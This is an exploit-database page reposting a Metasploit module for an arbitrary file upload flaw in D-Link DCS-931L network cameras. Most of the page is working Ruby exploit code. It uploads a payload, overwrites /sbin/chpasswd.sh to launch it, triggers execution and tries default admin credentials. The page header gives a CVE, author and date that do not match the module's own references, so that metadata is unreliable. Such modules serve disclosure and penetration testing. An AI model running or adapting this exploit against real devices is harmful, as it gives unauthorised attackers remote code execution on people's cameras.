D-Link DCS-931L Arbitrary File Upload
CVE
Category
Price
Severity
CVE-2018-3986
CWE-434
$7,000 - $9,000
High
Author
Risk
Exploitation Type
Date
Peter Adkins
High
Remote
2016-01-07
CPE
cpe:cpe:/h:d-link:dcs-931l
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016010028 Below is a copy:D-Link DCS-931L Arbitrary File Upload ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
HttpFingerprint = { :pattern => [ /alphapd/ ] }
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DCS-931L File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in D-Link DCS-931L
network cameras. The setFileUpload functionality allows authenticated
users to upload files to anywhere on the file system, allowing system
files to be overwritten, resulting in execution of arbitrary commands.
This module has been tested successfully on a D-Link DCS-931L with
firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).
D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly
affected, but untested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'Payload' =>
{
'Space' => 1024, # File upload
'DisableNops' => true
},
'Platform' => 'linux',
'Privileged' => false,
'Targets' =>
[
[ 'Linux mipsle Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2015-2049' ],
[ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ],
[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory
],
'DisclosureDate' => 'Feb 23 2015'))
register_options(
[
OptString.new('USERNAME', [true, 'Camera username', 'admin']),
OptString.new('PASSWORD', [false, 'Camera password (default: blank)', ''])
], self.class)
end
def check
res = send_request_cgi(
'uri' => normalize_uri('uploadfile.htm'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']
))
unless res
vprint_status("#{peer} - The connection timed out.")
return Exploit::CheckCode::Unknown
end
if res.code && res.code == 404
vprint_status("#{peer} - uploadfile.htm does not exist")
return Exploit::CheckCode::Safe
elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS-931L"/
vprint_error("#{peer} - Authentication failed")
return Exploit::CheckCode::Detected
elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}"
# upload payload
res = upload(payload_path, generate_payload_exe)
unless res
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
if res.code && res.code == 404
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
print_good("#{peer} - Payload uploaded successfully")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload")
end
register_file_for_cleanup(payload_path)
# overwrite /sbin/chpasswd.sh with stub
res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n")
unless res
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
if res.code && res.code == 404
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
print_good("#{peer} - Stager uploaded successfully")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager")
end
# execute payload using stub
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('setSystemAdmin'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'vars_post' => Hash[{
'ReplySuccessPage' => 'advanced.htm',
'ReplyErrorPage' => 'errradv.htm',
'ConfigSystemAdmin' => 'Apply'
}.to_a.shuffle])
unless res
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
if res.code && res.code == 401
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
elsif res.code && res.code == 200 && res.body
print_good("#{peer} - Payload executed successfully")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed")
end
end
#
# Replace chpasswd.sh with original contents
#
def cleanup
chpasswd = <<-EOF
#!/bin/sh
#
# $Id: chpasswd.sh, v1.00 2009-11-05 andy
#
# usage: chpasswd.sh <user name> [<password>]
#
if [ "$1" == "" ]; then
echo "chpasswd: no user name"
exit 1
fi
echo "$1:$2" > /tmp/tmpchpw
chpasswd < /tmp/tmpchpw
rm -f /tmp/tmpchpw
EOF
res = upload('/sbin/chpasswd.sh', chpasswd)
if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
vprint_good("#{peer} - Restored /sbin/chpasswd.sh successfully")
else
vprint_warning("#{peer} - Could not restore /sbin/chpasswd.sh to default")
end
end
#
# Upload a file to a specified path
#
def upload(path, data)
vprint_status("#{peer} - Writing #{data.length} bytes to #{path}")
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name="ReplySuccessPage"\r\n"
post_data << "\r\nreplyuf.htm\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name="ReplyErrorPage"\r\n"
post_data << "\r\nreplyuf.htm\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name="Filename"\r\n"
post_data << "\r\n#{path}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name="UploadFile"; filename="#{rand_text_alphanumeric(rand(8) + 5)}"\r\n"
post_data << "Content-Type: application/octet-stream\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name="ConfigUploadFile"\r\n"
post_data << "\r\nUpload File\r\n"
post_data << "--#{boundary}\r\n"
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('setFileUpload'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data)
end
end
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use .